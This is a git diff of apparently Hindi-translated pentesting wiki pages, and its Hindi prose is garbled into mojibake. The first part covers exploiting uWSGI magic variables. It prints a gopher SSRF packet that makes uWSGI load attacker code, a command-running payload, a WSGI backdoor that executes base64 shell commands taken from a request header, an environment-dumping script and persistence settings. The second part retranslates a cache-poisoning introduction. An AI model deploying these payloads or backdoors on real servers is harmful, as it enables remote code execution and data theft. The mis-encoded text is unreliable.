+environment variables рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ malicious configuration рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИред
+
+#### `UWSGI_PYHOME` - Python Environment рдореЗрдВ рд╣реЗрд░рдлреЗрд░
+```
+uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
+```
+Python virtual environment рдХреЛ рдмрджрд▓рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╡рддрдГ malicious packages рдпрд╛ рдЕрд▓рдЧ Python interpreters рд▓реЛрдб рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред
+
+#### `UWSGI_CHDIR` - Directory Traversal
+```
+uwsgi_param UWSGI_CHDIR /etc/;
+```
+рдпрд╣ requests рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ working directory рдмрджрд▓ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ path traversal attacks рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
+
+## SSRF + Gopher to
+
+### рдЖрдХреНрд░рдордг рд╡реЗрдХреНрдЯрд░
+
+рдЬрдм uWSGI SSRF (Server-Side Request Forgery) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реЛрддрд╛ рд╣реИ, рддреЛ attackers internal uWSGI socket рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдХреЗ magic variables рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЦрддрд░рдирд╛рдХ рд╣реЛрддрд╛ рд╣реИ рдЬрдм:
+
+1. рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ SSRF рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рд╣реЛрдВ
+2. uWSGI рдПрдХ рдЖрдВрддрд░рд┐рдХ рдкреЛрд░реНрдЯ/рд╕реЙрдХреЗрдЯ рдкрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реЛ
+3. рдПрдкреНрд▓рд┐рдХреЗрд╢рди magic variables рдХреЛ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реЛ
+
+uWSGI SSRF рдХреЗ рдХрд╛рд░рдг рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реИ рдХреНрдпреЛрдВрдХрд┐ config file `uwsgi.ini` рдореЗрдВ рдпрд╣ рдореМрдЬреВрдж рд╣реИ: `socket = 127.0.0.1:5000` рдЬреЛ рдЗрд╕реЗ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ SSRF рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рдмрдирд╛ рджреЗрддрд╛ рд╣реИред
+
+### рд╢реЛрд╖рдг рдХрд╛ рдЙрджрд╛рд╣рд░рдг
+
+#### рдЪрд░рдг 1: Malicious Payload рдмрдирд╛рдПрдБ
+рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, Python code рдХреЛ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдХреА рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВ (рд╕рд░реНрд╡рд░ рдХреЗ рдЕрдВрджрд░ рдлрд╝рд╛рдЗрд▓ рд▓рд┐рдЦрдирд╛, рдлрд╝рд╛рдЗрд▓ рдХрд╛ extension рдорд╛рдпрдиреЗ рдирд╣реАрдВ рд░рдЦрддрд╛):
+```python
+# Payload injected into a JSON profile file
+import os
+os.system("/readflag > /app/profiles/result.json")
+```
+#### рдЪрд░рдг 2: uWSGI рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЕрдиреБрд░реЛрдз рддреИрдпрд╛рд░ рдХрд░реЗрдВ
+Gopher рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ raw uWSGI packets рднреЗрдЬреЗрдВ:
+```
+gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
+```
+рдпрд╣ payload:
+- uWSGI рдХреЗ port 5000 рдкрд░ рдХрдиреЗрдХреНрдЯ рд╣реЛрддрд╛ рд╣реИ
+- `UWSGI_FILE` рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓ рдХреА рдУрд░ рдкреЙрдЗрдВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ
+- uWSGI рдХреЛ Python code рдХреЛ рд▓реЛрдб рдФрд░ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ
+
+### uWSGI рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕рдВрд░рдЪрдирд╛
+
+uWSGI рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдПрдХ рдмрд╛рдЗрдирд░реА рдлрд╝реЙрд░реНрдореЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ:
+- Variables рдХреЛ length-prefixed strings рдХреЗ рд░реВрдк рдореЗрдВ рдПрдиреНрдХреЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ
+- рдкреНрд░рддреНрдпреЗрдХ variable рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ: `[name_length][name][value_length][value]`
+- рдкреИрдХреЗрдЯ рдПрдХ header рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдХреБрд▓ рдЖрдХрд╛рд░ (total size) рд░рдЦрддрд╛ рд╣реИ
+
+## Post-Exploitation Techniques
+
+### 1. Persistent Backdoors
+
+#### File-based Backdoor
+```python
+# backdoor.py
+import subprocess
+import base64
+
+def application(environ, start_response):
+cmd = environ.get('HTTP_X_CMD', '')
+if cmd:
+result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
+response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
+else:
+response = "Backdoor active"
+
+start_response('200 OK', [('Content-Type', 'text/plain')])
+return [response.encode()]
+```
+рдлрд┐рд░ рдЗрд╕ backdoor рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `UWSGI_FILE` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:
+```
+uwsgi_param UWSGI_FILE /tmp/backdoor.py;
+uwsgi_param SCRIPT_NAME /admin;
+```
+#### рдкрд░реНрдпрд╛рд╡рд░рдг-рдЖрдзрд╛рд░рд┐рдд Persistence
+```
+uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
+```
+### 2. рд╕реВрдЪрдирд╛ рдкреНрд░рдХрдЯреАрдХрд░рдг
+
+#### Environment Variable Dumping
+```python
+# env_dump.py
+import os
+import json
+
+def application(environ, start_response):
+env_data = {
+'os_environ': dict(os.environ),
+'wsgi_environ': dict(environ)
+}
+
+start_response('200 OK', [('Content-Type', 'application/json')])
+return [json.dumps(env_data, indent=2).encode()]
+```
+#### рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдПрдХреНрд╕реЗрд╕
+рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП `UWSGI_CHDIR` рдХреЛ file serving рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдХрд░ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:
+```
+uwsgi_param UWSGI_CHDIR /etc/;
+uwsgi_param UWSGI_FILE /app/file_server.py;
+```
+### 3. Privilege Escalation
+
+#### Socket Manipulation
+рдпрджрд┐ uWSGI elevated privileges рдХреЗ рд╕рд╛рде рдЪрд▓рддрд╛ рд╣реИ, рддреЛ attackers socket permissions рдХреЛ manipulate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
+```
+uwsgi_param UWSGI_CHDIR /tmp;
+uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
+```
+#### рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдУрд╡рд░рд░рд╛рдЗрдб
+```python
+# malicious_config.py
+import os
+
+# Override uWSGI configuration
+os.environ['UWSGI_MASTER'] = '1'
+os.environ['UWSGI_PROCESSES'] = '1'
+os.environ['UWSGI_CHEAPER'] = '1'
+```
+## рд╕рдВрджрд░реНрдн
+
+- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
+- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
+- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 9d8a5e1c9..d1a8af21f 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -4,72 +4,73 @@
## рдЕрдВрддрд░
-> **web cache poisoning рдФрд░ web cache deception рдореЗрдВ рдХреНрдпрд╛ рдлрд░реНрдХ рд╣реИ?**
+> **web cache poisoning рдФрд░ web cache deception рдореЗрдВ рдХреНрдпрд╛ рдЕрдВрддрд░ рд╣реИ?**
>
-> - In **web cache poisoning**, рд╣рдорд▓рд╛рд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХреБрдЫ рджреБрд░реНрд╡реНрдпрд╡рд╣рд╛рд░рдкреВрд░реНрдг рд╕рд╛рдордЧреНрд░реА cache рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд░рд╡рд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рд╕рд╛рдордЧреНрд░реА cache рд╕реЗ рдЕрдиреНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕рд░реНрд╡ рдХреА рдЬрд╛рддреА рд╣реИред
-> - In **web cache deception**, рд╣рдорд▓рд╛рд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕рд╛рдордЧреНрд░реА cache рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд░рд╡рд╛рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рд╣рдорд▓рд╛рд╡рд░ рд╡рд╣ рд╕рд╛рдордЧреНрд░реА cache рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реЗрддрд╛ рд╣реИред
+> - In **web cache poisoning**, рд╣рдорд▓рд╛рд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХреБрдЫ рджреБрд╖реНрдЯ рд╕рд╛рдордЧреНрд░реА cache рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рд╕рд╛рдордЧреНрд░реА cache рд╕реЗ рдЕрдиреНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкрд░реЛрд╕реА рдЬрд╛рддреА рд╣реИред
+> - In **web cache deception**, рд╣рдорд▓рд╛рд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕рд╛рдордЧреНрд░реА cache рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рд╣рдорд▓рд╛рд╡рд░ рдЙрд╕ рд╕рд╛рдордЧреНрд░реА рдХреЛ cache рд╕реЗ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реЗрддрд╛ рд╣реИред
## Cache Poisoning
-Cache poisoning рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп client-side cache рдХреЛ рдЗрд╕ рддрд░рд╣ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдЕрдирдкреЗрдХреНрд╖рд┐рдд, рдЖрдВрд╢рд┐рдХ рдпрд╛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рд╡рд╛рд▓реА resources рд▓реЛрдб рдХрд░ рд▓реЗрдВред рдкреНрд░рднрд╛рд╡ рдХрд╛ рджрд╛рдпрд░рд╛ рдкреНрд░рднрд╛рд╡рд┐рдд рдкреЗрдЬ рдХреА рд▓реЛрдХрдкреНрд░рд┐рдпрддрд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рджреВрд╖рд┐рдд response рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕рд░реНрд╡ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреЛ cache рдкреНрд░рджреВрд╖рдг рдХреЗ рджреМрд░рд╛рди рдЙрд╕ рдкреЗрдЬ рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВред
+Cache poisoning рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп client-side cache рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдмрджрд▓рдирд╛ рд╣реИ рдХрд┐ clients рдРрд╕реЗ рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдХрд░рдиреЗ рдХреЛ рдордЬрдмреВрд░ рд╣реЛрдВ рдЬреЛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд, рдЖрдВрд╢рд┐рдХ, рдпрд╛ рдХрд┐рд╕реА рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд╣реЛрдВред рдкреНрд░рднрд╛рд╡ рдХреА рд╕реАрдорд╛ рдкреНрд░рднрд╛рд╡рд┐рдд рдкреЗрдЬ рдХреА рд▓реЛрдХрдкреНрд░рд┐рдпрддрд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рджреВрд╖рд┐рдд response рдХреЗрд╡рд▓ рдЙрд╕ рдЕрд╡рдзрд┐ рдореЗрдВ рдЙрд╕ рдкреЗрдЬ рдкрд░ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкрд░реЛрд╕рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм cache рджреВрд╖рд┐рдд рд╣реИред
-Cache poisoning рд╣рдорд▓рд╛ рдХрдИ рдЪрд░рдгреЛрдВ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
+Cache poisoning рд╣рдорд▓реЗ рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗрдиреЗ рдореЗрдВ рдХрдИ рдЪрд░рдг рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВ:
-1. **Identification of Unkeyed Inputs**: рдРрд╕реЗ parameters рдЬреЛ request рдХреЗ cached рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реЛрддреЗ рдкрд░ server рджреНрд╡рд╛рд░рд╛ рд▓реМрдЯрд╛рдИ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА response рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди inputs рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛ рдЬрд░реВрд░реА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрдиреНрд╣реЗрдВ cache рдХреЛ manipulate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
-2. **Exploitation of the Unkeyed Inputs**: Unkeyed inputs рдХреА рдкрд╣рдЪрд╛рди рдХреЗ рдмрд╛рдж рдЕрдЧрд▓рд╛ рдХрджрдо рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реИ рдХрд┐ рдЗрди parameters рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ server рдХреА response рдХреЛ рдХрд┐рд╕ рддрд░рд╣ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд▓рд╛рдн рд╣реЛред
-3. **Ensuring the Poisoned Response is Cached**: рдЕрдВрддрд┐рдо рдЪрд░рдг рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ рдмрджрд▓реА рд╣реБрдИ response cache рдореЗрдВ рд╕реНрдЯреЛрд░ рд╣реЛ рдЬрд╛рдПред рдЗрд╕ рддрд░рд╣, рдЬрдм рднреА рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рднрд╛рд╡рд┐рдд рдкреЗрдЬ рддрдХ рдкрд╣реБрдВрдЪрддрд╛ рд╣реИ рдЬрдмрдХрд┐ cache poisoned рд╣реИ, рдЙрд╕реЗ рджреВрд╖рд┐рдд response рдорд┐рд▓ рдЬрд╛рдПрдЧреАред
+1. **Unkeyed Inputs рдХреА рдкрд╣рдЪрд╛рди**: рдпреЗ рдРрд╕реЗ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИрдВ рдЬреЛ рднрд▓реЗ рд╣реА рдХрд┐рд╕реА request рдХреЛ cache рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рди рд╣реЛрдВ, рдкрд░ server рджреНрд╡рд╛рд░рд╛ рд▓реМрдЯрд╛рдП рдЧрдП response рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди inputs рдХреА рдкрд╣рдЪрд╛рди рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрдиреНрд╣реЗрдВ cache рдХреЛ рдореИрдиреАрдкреБрд▓реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реНрдкреНрд▓реЙрдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
+2. **Unkeyed Inputs рдХрд╛ рд╢реЛрд╖рдг**: Unkeyed inputs рдХреА рдкрд╣рдЪрд╛рди рдХреЗ рдмрд╛рдж рдЕрдЧрд▓рд╛ рдХрджрдо рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реИ рдХрд┐ рдЗрди рдкреИрд░рд╛рдореАрдЯрд░реНрд╕ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ server рдХреЗ response рдХреЛ рдХрд┐рд╕ рддрд░рд╣ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╡рд╣ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╣рд┐рдд рдореЗрдВ рд╣реЛред
+3. **рд╕реБрдирд┐рд╢реНрдЪрдд рдХрд░рдирд╛ рдХрд┐ Poisoned Response cached рд╣реЛ**: рдЕрдВрддрд┐рдо рдЪрд░рдг рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ рдмрджрд▓рд╛ рдЧрдпрд╛ response cache рдореЗрдВ рд╕реНрдЯреЛрд░ рд╣реЛ рдЬрд╛рдПред рдЗрд╕ рддрд░рд╣, cache рджреВрд╖рд┐рдд рд░рд╣рдиреЗ рдХреА рдЕрд╡рдзрд┐ рдореЗрдВ рдкреНрд░рднрд╛рд╡рд┐рдд рдкреЗрдЬ рдкрд░ рдЖрдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдИ рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреВрд╖рд┐рдд response рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ред
-### рдЦреЛрдЬ: HTTP headers рджреЗрдЦреЗрдВ
+### рдЦреЛрдЬ: HTTP headers рдЬрд╛рдБрдЪреЗрдВ
-рдЖрдо рддреМрд░ рдкрд░, рдЬрдм рдХреЛрдИ response cache рдореЗрдВ store рдХреА рдЬрд╛рддреА рд╣реИ рддреЛ рд╡рд╣рд╛рдБ рдПрдХ header рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдЗрд╕рдХреА рдЬрд╛рдирдХрд╛рд░реА рджреЗрддрд╛ рд╣реИ; рдЖрдк рдЙрди headers рдХреЛ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рди рдкрд░ рдЖрдкрдХреЛ рдзреНрдпрд╛рди рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
+рдЖрдо рддреМрд░ рдкрд░, рдЬрдм рдХреЛрдИ response **cache рдореЗрдВ рд╕реНрдЯреЛрд░** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рд╡рд╣рд╛рдБ рдПрдХ рдРрд╕рд╛ **header рд╣реЛрдЧрд╛ рдЬреЛ рдЗрд╕реЗ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ**, рдЖрдк рдпрд╣ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрд┐рди headers рдкрд░ рдзреНрдпрд╛рди рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
-### рдЦреЛрдЬ: Caching error codes
+### рдЦреЛрдЬ: рдПрд░рд░ рдХреЛрдбреНрд╕ рдХрд╛ cache рд╣реЛрдирд╛
-рдпрджрд┐ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ response cache рдореЗрдВ рд╕реНрдЯреЛрд░ рд╣реЛ рд░рд╣реА рд╣реИ, рддреЛ рдЖрдк рдПрдХ рдЦрд░рд╛рдм header рдХреЗ рд╕рд╛рде request рднреЗрдЬрдХрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕реЗ рд╕рд╛рдорд╛рдиреНрдпрддрдГ **status code 400** рдХреЗ рд╕рд╛рде рд░рд┐рд╕реНрдкреЙрдиреНрдб рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдлрд┐рд░ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ рд╕реЗ рдЙрд╕реА request рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдХреЗ рджреЗрдЦреЗрдВ рдФрд░ рдпрджрд┐ response рдПрдХ 400 status code рд╣реИ, рддреЛ рдЖрдк рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ vulnerable рд╣реИ (рдФрд░ рдЖрдк рдпрд╣рд╛рдВ рддрдХ рдХрд┐ DoS рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред
+рдЕрдЧрд░ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ response cache рдореЗрдВ рд╕реНрдЯреЛрд░ рд╣реЛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк **рдЧрд▓рдд header рдХреЗ рд╕рд╛рде requests рднреЗрдЬрдХрд░** рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рдирдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдпрддрдГ **status code 400** рдЖрдирд╛ рдЪрд╛рд╣рд┐рдПред рдлрд┐рд░ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ рд╕реЗ рдЙрд╕ request рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдХреЗ рджреЗрдЦреЗрдВ тАФ рдЕрдЧрд░ **response 400 status code** рд╣реА рдЖрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЬрд╛рди рд▓реЗрдВрдЧреЗ рдХрд┐ рдпрд╣ vulnerable рд╣реИ (рдФрд░ рдЖрдк рдпрд╣рд╛рдБ рд╕реЗ DoS рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред
+
+You can find more options in:
-рдЖрдк рдФрд░ рд╡рд┐рдХрд▓реНрдк рдпрд╣рд╛рдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
-рд╣рд╛рд▓рд╛рдБрдХрд┐, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рдХрднреА-рдХрднреА рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ status codes cache рдореЗрдВ рдирд╣реАрдВ рд░рдЦреЗ рдЬрд╛рддреЗ**, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЯреЗрд╕реНрдЯ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛ред
+рд╣рд╛рд▓рд╛рдБрдХрд┐ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рдХрднреА-рдХрднреА рдЗрди рддрд░рд╣ рдХреЗ status codes cache рдирд╣реАрдВ рд╣реЛрддреЗ**, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЯреЗрд╕реНрдЯ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
-### рдЦреЛрдЬ: Identify and evaluate unkeyed inputs
+### рдЦреЛрдЬ: Unkeyed inputs рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рдореВрд▓реНрдпрд╛рдВрдХрди
